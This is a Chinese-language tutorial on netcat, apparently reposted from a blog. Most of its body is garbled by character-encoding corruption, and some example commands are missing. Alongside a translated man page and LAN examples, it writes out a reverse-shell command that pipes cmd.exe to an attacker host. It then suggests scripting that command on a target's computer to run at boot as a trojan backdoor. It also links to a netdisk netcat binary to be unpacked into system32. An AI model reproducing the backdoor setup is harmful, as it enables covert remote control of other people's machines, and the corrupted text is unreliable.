网络工具中的瑞士军刀——netcat工具简介
今天給大家?guī)韓etcat這款工具的簡單介紹。netcat有著“網(wǎng)絡(luò)工具中的瑞士軍刀”的綽號。它體積小巧,功能卻又十分強大。下面的內(nèi)容包括,man手冊翻譯、常用參數(shù)介紹及例子。
一、man手冊翻譯
名稱
nc - TCP/IP 瑞士軍刀
概要
nc [-選項] 主機名 端口 [端口]…
nc -l -p 端口 [-選項] [主機名] [端口]
描述
netcat是一種簡單的unix實用程序,它使用TCP或UDP協(xié)議在網(wǎng)絡(luò)連接上讀取和寫入數(shù)據(jù)。它被設(shè)計成一個可靠的“后端”工具,可以是直接或容易被其他程序和腳本所驅(qū)動。同時,它是一個功能豐富的網(wǎng)絡(luò)調(diào)試和開發(fā)工具,因為它幾乎可以創(chuàng)建你需要的任何類型的連接并且有幾個有趣的內(nèi)置功能。Netcat,或稱為“nc”,作為實際程序的名稱,應(yīng)該是很久以前提供的,這是一種模糊定義但標準的Unix工具。
在最簡單的用法中,“nc 主機 端口”為給定的目標主機上的給定端口創(chuàng)建TCP連接。然后,您的標準輸入被發(fā)送到主機,任何通過連接返回的內(nèi)容都會發(fā)送到您的標準輸出。這種情況會一直持續(xù)下去,直到連接的網(wǎng)絡(luò)端關(guān)閉。請注意,此行為與大多數(shù)其他應(yīng)用程序不同,這些應(yīng)用程序在標準輸入結(jié)束后關(guān)閉所有文件并退出。
Netcat也可以作為一個服務(wù)器,通過監(jiān)聽任意端口上的入站連接,然后進行相同的讀取和寫入操作。對于小范圍的限制,netcat并不真正關(guān)心它是否在“客戶端”或“服務(wù)器”模式下運行——它仍然會來回地挖掘數(shù)據(jù)直到不再有剩余。在任何一種模式下,在網(wǎng)絡(luò)端可配置的不活動時間之后,可以強制關(guān)閉。
它也可以通過UDP實現(xiàn)這一點,因此,netcat也許是你一直想要用來測試你的UDP模式服務(wù)器的“UDP telnet-like”應(yīng)用。正如“U”所暗示的,提供的更少可靠的數(shù)據(jù)傳輸比TCP連接和一些系統(tǒng)可能在發(fā)送大量數(shù)據(jù)時遇到麻煩,但是它仍然是一個有用的能力。
您可能會問“為什么不直接使用telnet連接任意端口?”這是一個合理的問題,這里是其中一些原因。Telnet有“standard input EOF”問題,所以必須在驅(qū)動腳本中引入計算延遲,以允許網(wǎng)絡(luò)輸出完成。這是netcat在網(wǎng)絡(luò)端關(guān)閉之前一直運行的主要原因。Telnet也不會傳輸任意二進制數(shù)據(jù),因為某些字符被解釋為telnet選項,因此從數(shù)據(jù)流中刪除。Telnet也會發(fā)出一些對標準輸出的診斷消息,netcat將這些信息與它的輸出隔離開來,并且永遠不會修改傳輸中的任何真實數(shù)據(jù),除非您真的想要。當(dāng)然,telnet不能監(jiān)聽入站連接,也不能使用UDP。Netcat沒有任何這些限制,比telnet更小、更快,而且還有許多其他優(yōu)點。
選項
-c string????????在連接之后指定shell命令(謹慎使用)。該字符串被傳遞到/bin/sh-c執(zhí)行。如果您沒有工作/bin/sh,請參閱-e選項(請注意,符合posix的系統(tǒng)必須有一個)。
-e filename??????在連接之后執(zhí)行指定文件(謹慎使用)。請參閱-c選項以增強功能。
-g gateway??????源路由跳點,最多為8
-G num????????????源路由指針:4、8、12、 …
-h????顯示幫助
-i secs??????????????發(fā)送線路,端口掃描的延遲間隔。
-l??????????????????????監(jiān)聽模式,對于入站連接。
-n?????????????????????只有數(shù)字的IP地址,沒有域名服務(wù)器。
-o file??????????????十六進制轉(zhuǎn)儲傳輸。
-p port????????????本地端口號(端口號可以是個人的或者是范圍:低-高 [包含的])
-q seconds??????在標準輸入的EOF后,等待規(guī)定的秒數(shù)然后退出。如果秒數(shù)是負數(shù),永遠等待。
-b????????????????????允許UDP廣播
-r?????????????????????隨機化本地和遠程端口
-s addr????????????當(dāng)前的源地址
-t?????????????????????使telnet順利通過
-u????????????????????UDP模式
-v????????????????????冗長(使用兩次可以更冗長)。ps.即顯示詳細信息
-w secs????????????連接和最終網(wǎng)絡(luò)讀取的超時
-C?????????????????????在行尾發(fā)送回車換行
-z??????????????????????零讀寫模式(用于掃描)
-T type????設(shè)置TOS標志(類型可以是”Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”的其中之一)
二、常用參數(shù)介紹及例子
1、端口掃描
局域網(wǎng)內(nèi)有一臺主機,IP地址為192.168.3.242,現(xiàn)通過nc掃描其20-30的端口。
-v是顯示詳細信息(verbose),-n是不進行域名解析只接IP地址,-z是零讀寫,是掃描時常用的參數(shù)。
2、聊天服務(wù)器
局域網(wǎng)有兩臺主機,其中一臺作為服務(wù)器IP地址是192.168.3.119,監(jiān)聽了333端口。另一臺作為客戶端連接服務(wù)器。可以實現(xiàn)兩臺主機之間的聊天。在這里服務(wù)器和客戶端在連接后其實沒什么區(qū)別。
服務(wù)器:nc -l -p 333
客戶端:nc -n -v 192.168.3.119 333
-l是偵聽模式,用于截獲網(wǎng)絡(luò)中經(jīng)過的流量;-p后面接本地端口。
形如這種客戶端連接服務(wù)器的連接形式我們稱之為正向連接。相反地,服務(wù)器連接客戶端叫做反向連接,通常可以用作木馬留后門。當(dāng)然在這個例子里面體現(xiàn)不出來區(qū)別,接下來會展示遠程控制中,正向連接和反向連接的區(qū)別。
3、遠程控制
局域網(wǎng)內(nèi)有kalilinux IP:192.168.3.119,WIN10 IP:192.168.3.237。WIN10作為服務(wù)器,用kali連接它。
我們先嘗試正向連接。打開WIN10的任意端口(本例為333),把cmd.exe 重定向到333端口。
然后用kali連接該主機的333端口。
# nc -nv 192.168.3.237 333這樣客戶端就獲得了服務(wù)器的一個shell
接下來,我在入站規(guī)則里面禁用了nc,再嘗試正向連接,看看還能不能成功?
長時間沒反應(yīng),連接不上了。
一般來說,服務(wù)器為了安全考慮會通過入站規(guī)則設(shè)置禁止外部主機對其進行連接。但是對服務(wù)器連接外部主機的限制卻比較小。下面介紹通過反向連接方式對服務(wù)器進行遠程控制。
首先,打開客戶端的任意端口(本例定為333),開啟偵聽模式,捕獲通過該端口的所有流量。
# nc -v -l -p 333然后,讓服務(wù)器連接客戶端的指定端口,將cmd重定向發(fā)送過去。
nc -n -v 192.168.3.119 333 -e c:\windows\system32\cmd.exe連接成功!
反向連接可以用作木馬留后門。把反向連接特定主機的命令寫進腳本,放置在對方電腦,開機后臺運行。
4、文件傳輸
下面通過一個簡單的例子演示文件傳輸?shù)倪^程。還是上例的兩臺主機,我要將WIN10里的一張圖片通過nc重定向發(fā)送到kalilinux上。這里繼續(xù)采用反向連接。
客戶端(接收方):
服務(wù)器(發(fā)送方):
nc -nv 192.168.3.119 333 < d:\滑稽.jpg這樣就完成了圖片的傳輸。如果要進行目錄傳輸,可以先用tar工具進行打包后發(fā)送,出于節(jié)省帶寬的考慮也可以進一步壓縮再發(fā)送。原理相同,這里就不演示了。
5、遠程硬盤克隆
服務(wù)器端使用管道命令,將磁盤文件重定向到333端口。
接收端
# nc -lp 333 | dd of=/dev/sda以上是netcat一些簡單功能的介紹,這款工具還有很多有趣的功能等待我們?nèi)グl(fā)掘,例如還可以通過內(nèi)置的加密工具進行加密傳輸,搭建一個流媒體播放器等等。最后,附上windows系統(tǒng)版本netcat及使用方法。
下載鏈接:http://pan.baidu.com/s/1c21ZJCc
使用方法:將壓縮包內(nèi)所有文件解壓到C:\windows\system32
然后就可以在命令行輸入nc命令了。
總結(jié)
以上是生活随笔為你收集整理的网络工具中的瑞士军刀——netcat工具简介的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C语言练习题——动态数组
- 下一篇: a[1]和1[a]——浅谈数组下标运算符